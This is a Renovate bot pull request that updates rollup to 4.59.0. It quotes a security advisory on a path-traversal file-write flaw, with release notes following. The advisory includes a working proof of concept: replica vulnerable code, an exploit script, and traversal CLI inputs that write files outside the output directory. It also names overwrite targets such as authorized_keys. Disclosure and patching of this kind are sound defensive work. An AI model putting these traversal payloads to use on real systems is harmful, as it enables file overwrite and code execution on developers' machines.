Skip to content

Update dependency rollup to v4.59.0 [SECURITY] - #2067

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-rollup-vulnerability
Open

Update dependency rollup to v4.59.0 [SECURITY]#2067
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-rollup-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Feb 26, 2026 •
edited
Loading

Copy link
Copy Markdown
Contributor

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
rollup (source) 4.24.4 → 4.59.0 age confidence

Warning

Some dependencies could not be looked up. Check the Dependency Dashboard for more information.

Rollup 4 has Arbitrary File Write via Path Traversal

CVE-2026-27606 / GHSA-mw96-cpmx-2vgc

More information

Details

Summary

The Rollup module bundler (specifically v4.x and present in current source) is vulnerable to an Arbitrary File Write via Path Traversal. Insecure file name sanitization in the core engine allows an attacker to control output filenames (e.g., via CLI named inputs, manual chunk aliases, or malicious plugins) and use traversal sequences (../) to overwrite files anywhere on the host filesystem that the build process has permissions for. This can lead to persistent Remote Code Execution (RCE) by overwriting critical system or user configuration files.

Details

The vulnerability is caused by the combination of two flawed components in the Rollup core:

  1. Improper Sanitization: In src/utils/sanitizeFileName.ts, the INVALID_CHAR_REGEX used to clean user-provided names for chunks and assets excludes the period (.) and forward/backward slashes (/, \).

    // src/utils/sanitizeFileName.ts (Line 3)
const INVALID_CHAR_REGEX = /[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g;

    This allows path traversal sequences like ../../ to pass through the sanitizer unmodified.

  2. Unsafe Path Resolution: In src/rollup/rollup.ts, the writeOutputFile function uses path.resolve to combine the output directory with the "sanitized" filename.

    // src/rollup/rollup.ts (Line 317)
const fileName = resolve(outputOptions.dir || dirname(outputOptions.file!), outputFile.fileName);

    Because path.resolve follows the ../ sequences in outputFile.fileName, the resulting path points outside of the intended output directory. The subsequent call to fs.writeFile completes the arbitrary write.

PoC

A demonstration of this vulnerability can be performed using the Rollup CLI or a configuration file.

Scenario: CLI Named Input Exploit

  1. Target a sensitive file location (for demonstration, we will use a file in the project root called pwned.js).
  2. Execute Rollup with a specifically crafted named input where the key contains traversal characters: 
    rollup --input "a/../../pwned.js=main.js" --dir dist
  3. Result: Rollup will resolve the output path for the entry chunk as dist + a/../../pwned.js, which resolves to the project root. The file pwned.js is created/overwritten outside the dist folder.

Reproduction Files provided :

  • vuln_app.js: Isolated logic exactly replicating the sanitization and resolution bug.
  • exploit.py: Automated script to run the PoC and verify the file escape.

vuln_app.js

const path = require('path');
const fs = require('fs');

/**
 * REPLICATED ROLLUP VULNERABILITY
 * 
 * 1. Improper Sanitization (from src/utils/sanitizeFileName.ts)
 * 2. Unsafe Path Resolution (from src/rollup/rollup.ts)
 */

function sanitize(name) {
    // The vulnerability: Rollup's regex fails to strip dots and slashes, 
    // allowing path traversal sequences like '../'
    return name.replace(/[\u0000-\u001F"#$%&*+,:;<=>?[\]^`{|}\u007F]/g, '_');
}

async function build(userSuppliedName) {
    const outputDir = path.join(__dirname, 'dist');
    const fileName = sanitize(userSuppliedName);

    // Vulnerability: path.resolve() follows traversal sequences in the filename
    const outputPath = path.resolve(outputDir, fileName);

    console.log(`[*] Target write path: ${outputPath}`);

    if (!fs.existsSync(path.dirname(outputPath))) {
        fs.mkdirSync(path.dirname(outputPath), { recursive: true });
    }

    fs.writeFileSync(outputPath, 'console.log("System Compromised!");');
    console.log(`[+] File written successfully.`);
}

build(process.argv[2] || 'bundle.js');

exploit.py

import subprocess
from pathlib import Path

def run_poc():
    # Target a file outside the 'dist' folder
    poc_dir = Path(__file__).parent
    malicious_filename = "../pwned_by_rollup.js"
    target_path = poc_dir / "pwned_by_rollup.js"

    print(f"=== Rollup Path Traversal PoC ===")
    print(f"[*] Malicious Filename: {malicious_filename}")
    
    # Trigger the vulnerable app
    subprocess.run(["node", "poc/vuln_app.js", malicious_filename])

    if target_path.exists():
        print(f"[SUCCESS] File escaped 'dist' folder!")
        print(f"[SUCCESS] Created: {target_path}")
        # target_path.unlink() # Cleanup
    else:
        print("[FAILED] Exploit did not work.")

if __name__ == "__main__":
    run_poc()
POC

rollup --input "bypass/../../../../../../../Users/vaghe/OneDrive/Desktop/pwned_desktop.js=main.js" --dir dist

image
Impact

This is a High level of severity vulnerability.

  • Arbitrary File Write: Attackers can overwrite sensitive files like ~/.ssh/authorized_keys, .bashrc, or system binaries if the build process has sufficient privileges.
  • Supply Chain Risk: Malicious third-party plugins or dependencies can use this to inject malicious code into other parts of a developer's machine during the build phase.
  • User Impact: Developers running builds on untrusted repositories are at risk of system compromise.

Severity

  • CVSS Score: 8.8 / 10 (High)
  • Vector String: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

rollup/rollup (rollup)

v4.59.0

Compare Source

2026-02-22

Features
  • Throw when the generated bundle contains paths that would leave the output directory (#​6276)
Pull Requests

v4.58.0

Compare Source

2026-02-20

Features
  • Also support __NO_SIDE_EFFECTS__ annotation before variable declarations declaring function expressions (#​6272)
Pull Requests

v4.57.1

Compare Source

2026-01-30

Bug Fixes
  • Fix heap corruption issue in Windows (#​6251)
  • Ensure exports of a dynamic import are fully included when called from a try...catch (#​6254)
Pull Requests

v4.57.0

Compare Source

2026-01-27

Features
  • Add import attributes to all plugin hooks that did not provide them yet (#​5700)
  • Deprecate returning import attributes from load or transform hooks as that will no longer be supported with rollup 5 (#​5700)
Pull Requests

v4.56.0

Compare Source

2026-01-22

Features
  • Track object property inclusions of dynamic namespace members (#​6230)
Bug Fixes
  • Handle methods that access dynamically imported namespace members via this (#​6230)
Pull Requests

v4.55.3

Compare Source

2026-01-21

Bug Fixes
  • Fix JSX semicolon insert position in variable declarations (#​6241)
Pull Requests

v4.55.2

Compare Source

2026-01-19

Bug Fixes
  • Sort manual chunks by execution order to reduce circular dependency issues (#​6240)
Pull Requests

v4.55.1

Compare Source

2026-01-05

Bug Fixes
  • Fix artifact reference for OpenBSD (#​6231)
Pull Requests

v4.54.0

Compare Source

2025-12-20

Features
  • Enable tree-shaking for Symbol.hasInstance, Symbol.dispose and Symbol.asyncDispose properties if unused (#​6046)
Bug Fixes
  • Ensure that well-known-Symbol-valued properties are not tree-shaken except in select cases (#​6046)
  • Ensure namespace properties are included when referenced only from a try-catch (#​6216)
Pull Requests

v4.53.5

Compare Source

2025-12-16

Bug Fixes
  • Fix wrong semicolon insertion position when using JSX (#​6206)
  • Generate spec-compliant sourcemaps when sources content is excluded (#​6196)
Pull Requests

v4.53.4

Compare Source

2025-12-15

Bug Fixes
  • Ensure Symbol.dispose and Symbol.asyncDispose properties are never removed with (await) using declarations. (#​6209)
Pull Requests

v4.53.3

Compare Source

2025-11-19

Bug Fixes
  • Fix an error where too many modules where flagged for having an unused external import (#​6182)
  • Fix an error where an assignment was wrongly tree-shaken when mutating it (#​6183)
Pull Requests

v4.53.2

Compare Source

2025-11-10

Bug Fixes
  • Do not throw when using invalid escape sequences in template literals (#​6177)
Pull Requests

v4.53.1

Compare Source

2025-11-07

Bug Fixes
Pull Requests

v4.53.0

Compare Source

2025-11-07

Features
  • Improve rendering performance by caching generated variable names (#​5947)
Pull Requests

v4.52.5

Compare Source

2025-10-18

Bug Fixes
  • Always produce valid UUIDs as debugIds in sourcemaps (#​6144)
Pull Requests

v4.52.4

Compare Source

2025-10-03

Bug Fixes
  • Fix an issue where the wrong branch of nullish coalescing was picked (#​6133)
Pull Requests

v4.52.3

Compare Source

2025-09-27

Bug Fixes
  • Fix check in native loader for environments that do not support reports (#​6123)
Pull Requests

v4.52.2

Compare Source

2025-09-23

Bug Fixes
  • Fix Android build crashing due to failed dlopen (#​6109)
Pull Requests

v4.52.1

Compare Source

2025-09-23

Bug Fixes
  • Opt-out of dynamic import optimization when using top-level await to effectively prevent deadlocks (#​6121)
Pull Requests

v4.52.0

Compare Source

2025-09-19

Features
  • Add option output.onlyExplicitManualChunks to turn off merging additional dependencies into manual chunks (#​6087)
  • Add support for x86_64-pc-windows-gnu platform (#​6110)
Pull Requests

v4.51.0

Compare Source

2025-09-19

Features
  • Support ROLLUP_FILE_URL_OBJ placeholder to inject file URLs into the generated code (#​6108)
Bug Fixes
  • Improve OpenHarmony build to work in more situations (#​6115)
Pull Requests

v4.50.2

Compare Source

2025-09-15

Bug Fixes
  • Resolve an issue where unused destructured array pattern declarations would conflict with included variables (#​6100)
Pull Requests

v4.50.1

Compare Source

2025-09-07

Bug Fixes
  • Resolve a situation where a destructuring default value was removed (#​6090)
Pull Requests

v4.50.0

Compare Source

2025-08-31

Features
  • Support openharmony-arm64 platform (#​6081)
Bug Fixes
  • Fix loading of extensionless imports in config files (#​6084)
Pull Requests

v4.49.0

Compare Source

2025-08-27

Features
  • Allow config plugins to resolve imports first before deciding whether to treat them as external (#​6038)
Pull Requests

v4.48.1

Compare Source

2025-08-25

Bug Fixes
  • Correctly ignore white-space in JSX strings around line-breaks (#​6051)
Pull Requests

v4.48.0

Compare Source

2025-08-23

Features
  • If configured, also keep unparseable import attributes of external dynamic imports in the output(#​6071)
Bug Fixes
  • Ensure variables referenced in non-removed import attributes are included (#​6071)
Pull Requests

v4.47.1

Compare Source

2025-08-21

Bug Fixes
  • Revert build process changes to investigate issues (#​6077)
Pull Requests

v4.47.0

Compare Source

2025-08-21

Features
  • Aggressively reduce WASM build size (#​6053)
Bug Fixes
  • Fix illegal instruction error on Android ARM platforms (#​6072)
  • Allow to pass explicit undefined for optional fields in Rollup types (#​6061)
Pull Requests

v4.46.4

Compare Source

2025-08-20

Bug Fixes
  • Do not omit synthetic namespaces when only accessed via in operator (#​6052)
Pull Requests

v4.46.3

Compare Source

2025-08-18

Bug Fixes
  • Resolve illegal instruction error on arm64 architectures (#​6055)
  • Resolve sourcemap generation performance regression (#​6057)
Pull Requests

v4.46.2

Compare Source

2025-07-29

Bug Fixes
  • Fix in-operator handling for external namespace and when the left side cannot be analyzed (#​6041)
Pull Requests

v4.46.1

Compare Source

2025-07-28

Bug Fixes
  • Do not fail when using the in operator on external namespaces (#​6036)
Pull Requests

v4.46.0

Compare Source

2025-07-27

Features
  • Optimize in checks on namespaces to keep them treeshake-able (#​6029)
Pull Requests

v4.45.3

Compare Source

2025-07-26

Bug Fixes
  • Do not fail build if a const is reassigned but warn instead (#​6020)
  • Fail with a helpful error message if an exported binding is not defined (#​6023)
Pull Requests

v4.45.1

Compare Source

2025-07-15

Bug Fixes
  • Resolve crash when using certain conditional expressions (#​6009)
Pull Requests

v4.45.0

Compare Source

2025-07-12

Features
  • Improve tree-shaking when both branches of a conditional expression return the same boolean value (#​6000)
  • In environments that support both CJS and ESM, prefer the ESM build of Rollup (#​6005)
Bug F

✂ Note

PR body was truncated to here.

Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

♻ Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.

  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@netlify

netlify Bot commented Feb 26, 2026 •
edited
Loading

Copy link
Copy Markdown

✅ Deploy Preview for papaya-valkyrie-395400 canceled.

Name Link
🔨 Latest commit 56b8e6f
🔍 Latest deploy log https://app.netlify.com/projects/papaya-valkyrie-395400/deploys/6a8fd53a7f9f0700082070ab

@renovate
renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from 24befbb to c100e05 Compare March 10, 2026 17:29
@renovate
renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch from c100e05 to e57a786 Compare March 13, 2026 13:09
@renovate renovate Bot changed the title Update dependency rollup to v4.59.0 [SECURITY] Update dependency rollup to v4.59.0 [SECURITY] - autoclosed Mar 27, 2026
@renovate renovate Bot closed this Mar 27, 2026
@renovate
renovate Bot deleted the renovate/npm-rollup-vulnerability branch March 27, 2026 01:34
@renovate renovate Bot changed the title Update dependency rollup to v4.59.0 [SECURITY] - autoclosed Update dependency rollup to v4.59.0 [SECURITY] Mar 30, 2026
@renovate renovate Bot reopened this Mar 30, 2026
@renovate
renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch 3 times, most recently from a02ef84 to 18d2c74 Compare April 1, 2026 18:43
@renovate
renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch from 18d2c74 to 1a30826 Compare April 8, 2026 21:40
@renovate
renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch from 1a30826 to c21bab9 Compare April 23, 2026 08:38
@renovate renovate Bot changed the title Update dependency rollup to v4.59.0 [SECURITY] Update dependency rollup to v4.59.0 [SECURITY] - autoclosed Apr 27, 2026
@renovate renovate Bot closed this Apr 27, 2026
@renovate renovate Bot changed the title Update dependency rollup to v4.59.0 [SECURITY] - autoclosed Update dependency rollup to v4.59.0 [SECURITY] Apr 27, 2026
@renovate renovate Bot reopened this Apr 27, 2026
@renovate
renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch from c21bab9 to 0d1a706 Compare April 27, 2026 21:48
@renovate
renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from 74b4922 to 2b64315 Compare May 18, 2026 09:53
@renovate
renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from eb4e0c2 to 4503d73 Compare May 29, 2026 16:17
@renovate
renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch from 4503d73 to 64584f1 Compare June 11, 2026 11:10
@renovate
renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from b2964b3 to e4ff3aa Compare July 17, 2026 07:01
@renovate
renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch 3 times, most recently from 310cb63 to 06c6451 Compare July 24, 2026 15:08
@renovate
renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch from 06c6451 to a5cefd2 Compare July 30, 2026 14:57
@renovate
renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from 2d83eeb to cec6494 Compare August 17, 2026 10:32
@renovate
renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch 2 times, most recently from 87d07c6 to 537525a Compare August 21, 2026 13:01
@renovate
renovate Bot force-pushed the renovate/npm-rollup-vulnerability branch from 537525a to 56b8e6f Compare August 27, 2026 06:12
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Reviewers

No reviews

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

Successfully merging this pull request may close these issues.

0 participants